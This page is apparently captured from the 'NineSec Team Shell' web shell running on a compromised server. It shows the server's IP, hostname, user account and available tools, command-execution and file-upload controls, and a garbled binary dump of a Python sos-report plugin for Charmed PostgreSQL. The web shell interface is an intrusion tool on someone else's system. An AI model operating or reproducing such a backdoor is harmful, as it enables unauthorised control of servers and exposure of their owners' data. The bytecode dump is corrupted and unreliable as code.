NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/charmed_postgresql.cpython-36.pyc
3

~�g7�	@s�ddlZddlZddlmZmZdZdZededededed	ed
ededd
�Zed�d�ZdZ	dZ
dZGdd�dee�ZdS)�N)�Plugin�UbuntuPluginz#/var/snap/charmed-postgresql/commonz$/var/snap/charmed-postgresql/currentz/var/lib/postgresqlz/var/log/postgresqlz/etc/patroniz/var/log/patroniz/etc/pgbackrestz/var/log/pgbackrestz/etc/pgbouncerz/var/log/pgbouncer)�POSTGRESQL_CONF�POSTGRESQL_LOGS�PATRONI_CONF�PATRONI_LOGS�PGBACKREST_CONF�PGBACKREST_LOGS�PGBOUNCER_CONF�PGBOUNCER_LOGSrz
/patroni.yamlZsnap_daemonzcharmed-postgresql.psqlzcharmed-postgresql.patronictlc@sLeZdZdZdZdZeed�dd��Zeed�dd��Z	d	d
�Z
dd�Zd
S)�CharmedPostgreSQLzCharmed PostgreSQLZcharmed_postgresql�charmed-postgresql)�returncCs
dt��S)Nz--config-file )�PATRONI_CONFIG_FILE)�self�r�(/usr/lib/python3.6/charmed_postgresql.py�patronictl_args)sz!CharmedPostgreSQL.patronictl_argscCsd|j�d|j�d|j�d�S)Nz-U z -h z -p z -d postgres -P pager=off)�postgresql_username�postgresql_host�postgresql_port)rrrr�	psql_args-szCharmedPostgreSQL.psql_argscCs |jtd�d�td�d�g�|jtd�d�td�td�d�td�td	�td
�td�td�g�|jd�|jd
dd�yvttdd��}tj|�}WdQRX|d|_	|d}|dj
d�}|\|_|_|d}|d}|d|_
|d|_WnFttjttttfk
�rH}z|jdt�d|���dSd}~XnX|jt�d|j�d|j	��dtd�|jt�d|j�d |j	��d!td�|jt�d|j�d"|j	��d#td�|jtjd$<|jt�d|j�d%�d&td�|jt�d|j�d'�d(td�|jt�d|j�d)�d*td�dS)+Nrz/*.pemr
rz/*.conf*rz/*.y*mlrrr	rzsnap.charmed-postgresql.*zsnap info charmed-postgresqlz	snap-info)�suggest_filenamezutf-8)�encodingZscope�
postgresqlZconnect_address�:�authentication�	superuserZusernameZpasswordzVCan not run additional commands due to an error on opening or parsing the config file z: � z
 topology zpatroni-topology)rZrunasz	 history zpatroni-historyz
 show-config zpatroni-dcs-config�
PGPASSWORDz	 -c '\l+'zpostgresql-databasesz -c '\duS+'zpostgresql-usersz -c '\dtS+'zpostgresql-tables)Zadd_forbidden_path�PATHSZ
add_copy_specZadd_journalZadd_cmd_output�openr�yamlZ	safe_loadZpatroni_cluster_name�splitrrrZpostgresql_password�OSErrorZ	YAMLError�	TypeError�
ValueError�KeyError�AttributeErrorZ	_log_warn�
PATRONICTLr�RUNAS�os�environ�PSQLr)r�fZpatroni_configrZ	host_portrr�errorrrr�setup4sp



zCharmedPostgreSQL.setupcCs^dtjkrtjd=|jtd�d�dd�|jtd�d�dd	�|jtd
�d�dd�dS)
Nrrz/*z(password: )"?.*"?z
\1"*********"rz/pgbackrest.confz(.*s3-key.*=).*z\1*********r
z/pgbouncer/userlist.txtz(".*" )".*")r+r,Zdo_path_regex_subr )rrrr�postproc�s
zCharmedPostgreSQL.postprocN)r
)�__name__�
__module__�__qualname__Z
short_descZplugin_nameZpackages�property�strrrr0r1rrrrr#snr)
r+r"Zsos.report.pluginsrrZSNAP_COMMON_PATHZSNAP_CURRENT_PATHr rr*r-r)rrrrr�<module>	s"

NineSec Team - 2022